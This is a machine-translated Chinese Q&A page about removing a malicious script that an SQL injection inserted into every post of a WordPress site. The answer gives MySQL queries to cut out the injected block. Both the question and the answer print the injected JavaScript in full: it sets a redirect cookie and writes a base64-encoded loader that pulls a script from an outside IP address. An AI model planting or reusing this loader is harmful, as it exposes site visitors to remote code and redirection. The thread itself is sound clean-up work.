如何从 SQL 注入攻击中删除帖子中的脚本?

2023-12-26

我有一个插件,使我的 WordPress 网站容易受到 SQL 注入攻击。此后我锁定了我的网站并删除了所有 Wordpress 文件,然后重新安装了 Wordpress。该插件也已被删除。不幸的是,我现在所有 2503 个帖子都安装了以下示例脚本:

<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script>
<!--/codes_iframe-->

问题是,当我搜索特定脚本时,base64 字符串是不同的every邮政。所以我不能只进行查找和替换/删除。

我的想法是,由于脚本的开头和结尾实际上已注释,数据库查询不能以某种方式删除它们之间的代码,然后第二个查询删除注释吗?如果是这样我在任何地方都找不到这个。这看起来很容易做到,但显然(根据谷歌)它相当复杂。

希望有人能够采取程序补救措施。与此同时,我将手动执行此删除操作,希望有人可以节省我一些时间。


MySQL 8.0引入新功能REGEXP_REPLACE() https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-replace但如果你使用的是早期版本的 MySQL,你可以使用LOCATE() https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_locate找到文本中的开始和结束位置,然后删除这两个位置之间的内容。

我对此进行了测试 - 我创建了一个表wp_mytable并将您的违规文本放入其中,前后各添加一些文本。

mysql> select * from wp_mytable\G
*************************** 1. row ***************************
 id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)

LOCATE() 可以找到开始和结束标签:

mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
|     9 |
+-------+

mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end  |
+------+
|  830 |
+------+

现在如果我们替换txt位置9之前的内容,以及位置830+之后的内容LENGTH('<!--/codes_iframe-->'),这将删除有问题的内容。

首先使用 SELECT 进行测试:

mysql> SELECT 
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt 
  FROM wp_mytable\G
*************************** 1. row ***************************
 pre_txt: ABC 123

post_txt: 
And that's all, folks.

当我们确信这是正确的子字符串时,将这些片段连接在一起并在更新中使用它们:

mysql> UPDATE wp_mytable SET txt = CONCAT(
  SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
  SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
  WHERE LOCATE('<!--codes_iframe-->', txt) > 0;

与往常一样,在尝试此类手术之前请先备份数据。

我还想到,在完成此替换后,您应该再次搜索数据,以防有问题的脚本在给定文本中插入两次。替换方法仅删除第一个匹配项,但您希望这样做。您不想删除脚本两次出现之间的合法文本。

顺便说一句,得知您遭到 SQL 注入攻击,我感到很遗憾。人们有时很糟糕。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

如何从 SQL 注入攻击中删除帖子中的脚本? 的相关文章

  • 在 WordPress 中挂钩 AJAX

    我一直在深入研究 Javascript 和 AJAX 的世界 我非常接近 但由于某种原因 我认为我没有正确地连接到 wordpress ajax 函数 我已经仔细阅读了文档和这个 认为 99 都在那里 这个应用程序的作用是有一个项目列表 每
  • 在非 WordPress php 页面之外显示 WordPress 帖子

    我需要在非 WordPress php 页面中显示 WordPress 博客文章 我已经尝试过以下代码
  • 将延期交货库存状态添加到 Woocommerce 可变产品下拉列表中

    我想在下拉菜单中显示可变产品的库存状态 包括 缺货 因为我网站上的大多数产品都缺货 而不是 缺货 我已经尝试过答案如何将变体库存状态添加到 Woocommerce 产品变体下拉列表中 https stackoverflow com ques
  • 使用数据绑定,如何将包含表情符号的文本绑定到标签并使其正确显示?

    我正在编写一个应用程序来连接 WordPress BuddyPress API 该应用程序将允许用户通过 API 相互发送消息 当这些消息包含表情符号时 我很难正确显示它们 以下是 API 返回的消息文本的简短示例 Hi x1f642 ho
  • LINQ-To-SQL 如何防止 SQL 注入?

    我目前正在使用 C 和 LINQ TO SQL 做一个项目 这个项目将安全性作为高优先级 所以显然我想防止 SQL 注入 我用谷歌搜索了此事 但 没有发现任何有用的信息 微软自己的常见问题解答告诉我 由于 LINQ 处理参数的方式 注入不会
  • 如何在 WordPress 中按标题获取帖子?

    Wordpress 3 0 我想通过使用将特定帖子的内容放入页面中title帖子的 据我所知 我不能直接使用get post 我可以假设暴力方式可能是什么 但我怀疑还有更优雅的方式吗 get page by title id OBJECT
  • 通过 PHP 脚本重新启动 Nginx

    我目前正在努力使我的 WordPress 插件与 nginx 兼容 该插件需要访问 conf文件在wp content uploads目录 以便它可以添加所需的规则 目前 它更新了 htaccess文件位于同一目录中 更改立即生效 无需干预
  • 将 Woocommerce 购物车项目自定义数据保存为订单项目元数据,将其显示在订单和电子邮件上

    关于 Woocommerce 我有要添加到购物车的自定义数据 在functions php 文件中 我有以下函数 Display cart item custom data in cart and checkout pages add fi
  • 如何在 WordPress 中为用户分配多个角色?

    我知道如何为用户分配单一角色 但是为用户提供多个角色是行不通的 wordpress 是否提供此功能 提前致谢 为了完整起见 这is可能的 theUser new WP User userId theUser gt add role role
  • PHP 7.2 计数错误

    警告 count 参数必须是数组或对象 实现 Countable in 我在以下行中收到上述错误 if 0 gt count this gt xprop 有人可以帮助我理解这一点吗 我对 PHP 还很陌生 问题显然是 this gt xpr
  • 无法访问 WordPress 中声明的全局变量

    我有以下代码 g value something print g value function get value global g value print g value print get value 当我在独立的 PHP 脚本中运行它
  • 将 Google 转换代码添加到 WordPress 联系表单 7

    我找到了一个将 Google Conversion 代码添加到 WordPress Contact Form 7 插件的教程 可以找到here http contactform7 com tracking form submissions
  • 什么时候最好清理用户输入?

    用户等于不可信 永远不要相信不可信的用户输入 我明白了 但是 我想知道清理输入的最佳时间是什么时候 例如 您是否盲目存储用户输入 然后在访问 使用时对其进行清理 或者您是否立即清理输入 然后存储此 清理 版本 也许除了这些之外还有一些我没有
  • 尝试获取联系表单 7 发布数据以调试到屏幕

    我一直在尝试获取联系表单 7 发布数据来调试表单提交 以便我可以将其用于我正在尝试开发的插件 但是 当我使用 var dump 或 print r 时 我无法在任何地方获取数据 我已经从这个开始了 add action wpcf7 befo
  • 使用 JavaScript 从 URL 变量读取来加载不同的 CSS 样式表

    我试图在我的 WordPress 博客上使用两个不同的样式表 以便在通过 Web 访问页面时使用一个样式表 而在通过我们的 iOS 应用程序访问博客内容时使用另一个样式表 现在 我们将 app true 附加到来自 iOS 应用程序的 UR
  • 如何在图像附件页面上显示帖子附加的图像数量?

    我使用图像附件页面以幻灯片形式一一显示附加到帖子的图像 我希望能够显示附加到父帖子的图像总数以及任何给定附件页面上显示的特定图像的数量 以便您看到图片和文字 第 3 张图片 共 15 张 例如 更新 我能够使用以下代码获取要显示的总数
  • 隐藏产品价格和添加到购物车按钮,但不隐藏 WooCommerce 中未注册用户的变体

    在我的 WooCommerce 商店中 我想隐藏价格 直到客户登录为止 我有以下代码可以实现这一点 add action init hide price function hide price if is user logged in re
  • 无法与站点通信以检查致命错误

    无法与站点通信以检查致命错误 因此 PHP 更改已恢复 您需要通过其他方式上传 PHP 文件更改 例如使用 SFTP 有什么解决办法 我正在 WordPress 中编辑头文件 遇到这个问题 尝试这个 我有同样的问题并决定调查一下 更改 wp
  • WooCommerce 自定义字段 - 多选

    我在 WooCommerce 的结账页面添加额外的字段 我可以添加文本框等基本字段 但需要添加一个 多 选择框 用户可以在其中选择多个项目 我已经弄清楚如何通过代码添加选择框 如下所示 add action woocommerce afte
  • WordPress 子主题 style.css 不起作用

    我创建了一个与父主题格式相同的文件结构 我的父主题称为 Alpine Alpine 中有一个functions php 和style css 文件 似乎没有任何其他 style css 文件 我创建了一个名为 Alpine child 的目

随机推荐

  • 从基类方法克隆派生类

    我有一个抽象基类Base它具有一些共同的属性 以及许多实现不同逻辑但很少有附加字段的派生属性 public abstract Base protected int field1 protected int field2 protected
  • 获取 x86-64 指令的大小

    我需要一个可以计算 x86 64 指令长度的函数 例如 它可以像这样使用 char ret 0xc3 size t length instructionLength ret length在此示例中将设置为 1 我不想包含整个反汇编库 因为我
  • 编译静态库与标准库的链接(静态)

    我正在尝试编译一个静态库 我们称之为library a 该库消耗标准库的资源 该库可以通过某种方式静态链接标准库 我已经证明了类似的事情 g c library static libstdc o library o ar rcs libra
  • 如何观察目录的变化? [复制]

    这个问题在这里已经有答案了 在 python 核心中找不到任何东西来执行此操作 谁能推荐一个库或 电池 来做到这一点 理想情况下 我希望它是可移植的 但如果它仅适用于 Unix 我的服务器 也没关系 在 Linux 上 您可能对 pyino
  • Reflection.Emit 与 CodeDOM

    使用 Reflection Emit 库与 CodeDOM 在运行时动态生成代码有哪些优缺点 我正在尝试根据运行时以 XML 形式提供的元数据在系统中生成一些 相对复杂的 动态类 我将生成扩展应用程序程序集中现有类的类 实现附加接口 添加方
  • 矢量绘图中的微光动画

    我一直在尝试使用动画矢量可绘制图标实现闪烁动画 我正在寻找的效果与此类似 我已经用过Facebook 微光库 https facebook github io shimmer android 为了获得这种效果 尽管这正是我所需要的 但我想使
  • Typescript Array[T] 接受 {..T} 作为有效类型

    使用时这咬了我useState
  • 检索 Sitecore 项目在内容树中的位置 A 以及位置 B 中的用户

    给定以下内容树 我如何将经销商与汽车关联起来 以便获得这样的 URL http website Dealerships JimWhite 福特 http website Dealerships JimWhite Ford 我需要能够在汽车下
  • 有没有办法在 Kotlin 中使用初始化函数构造 HashSet?

    从文件中读取星星2016 年 Facebook 黑客杯 https www facebook com hackercup problem 910374079035613 Boomerang Constellations问题 可以定义以下扩展
  • 如何调用同步谷歌日历

    首先阅读以下问题 从 Android 上的日历提供程序中删除事件 https stackoverflow com questions 18774394 delete events from calendar provider on andr
  • Eclipse 无法识别字符串和类

    我保存了一个由 eclipse 构建的项目 然后我的电脑就死机了 当我修复它并重新格式化时 我重新下载了 eclipse 等 实际上 当我按下 eclipse exe 时 它会显示 eclipse juno 图标 但窗口的名称是 Java
  • C++“内存屏障”示例[重复]

    这个问题在这里已经有答案了 我正在阅读有关 volatile 关键字的问题的答案 https stackoverflow com a 2485177 997112 https stackoverflow com a 2485177 9971
  • C# 中任意等级数组的索引

    我需要迭代任意排名的数组 这是为了阅读和写作 所以GetEnumerator不管用 Array SetValue object int 不适用于多维数组 Array SetValue object params int 需要过多的算术来迭代
  • 在 git bash 中创建一个新文件

    我已经运行了 Windows 版 Git 但我不确定它是否应该充当文本编辑器 我想我是用 Vim 编辑器安装的 但是在 Git Bash shell 中如何创建文件 例如网页 html git add webpage html 返回为 fa
  • Flutter:如何在手势检测器中禁用 onTap 一段时间?

    我有一个GestureDetector在自定义无状态视图中 什么时候onTap触发后 我显示了一个显示一些信息的小吃店 当用户快速多次单击时 它会永远显示小吃栏 源代码 https github com ammaratef45 zold f
  • Ivy,主配置是什么,为什么它不拉动jvyaml?

    我有以下常春藤文件
  • go 例程未从通道收集所有对象

    我有一个go routine将对象添加到通道中 然后我有 4 个go routines处理通道对象 处理只不过是将对象添加到数组中 但有时 最终数组中会丢失对象 所以我假设在某个时刻通道停止收集对象 我有以下代码 package main
  • SonarQube 抱怨:要么记录或重新抛出此异常

    在将代码与 Maven 集成后 我正在运行 SonarQube 5 进行代码质量检查 声纳抱怨我应该 记录或重新抛出此异常 在下面的代码中 public static Date convertStringtoDate String stri
  • 使用 Spring AOP 时,在单个连接点上绑定参数的多个 around 建议会导致错误

    我在一个方法上写了 2 个注释 并写了 2 个周围建议来处理每个注释值 连接点方法是这样的 CacheFetch cacheName CacheManager CACHE DATASOURCE INFO TenantAware method
  • 如何从 SQL 注入攻击中删除帖子中的脚本?

    我有一个插件 使我的 WordPress 网站容易受到 SQL 注入攻击 此后我锁定了我的网站并删除了所有 Wordpress 文件 然后重新安装了 Wordpress 该插件也已被删除 不幸的是 我现在所有 2503 个帖子都安装了以下示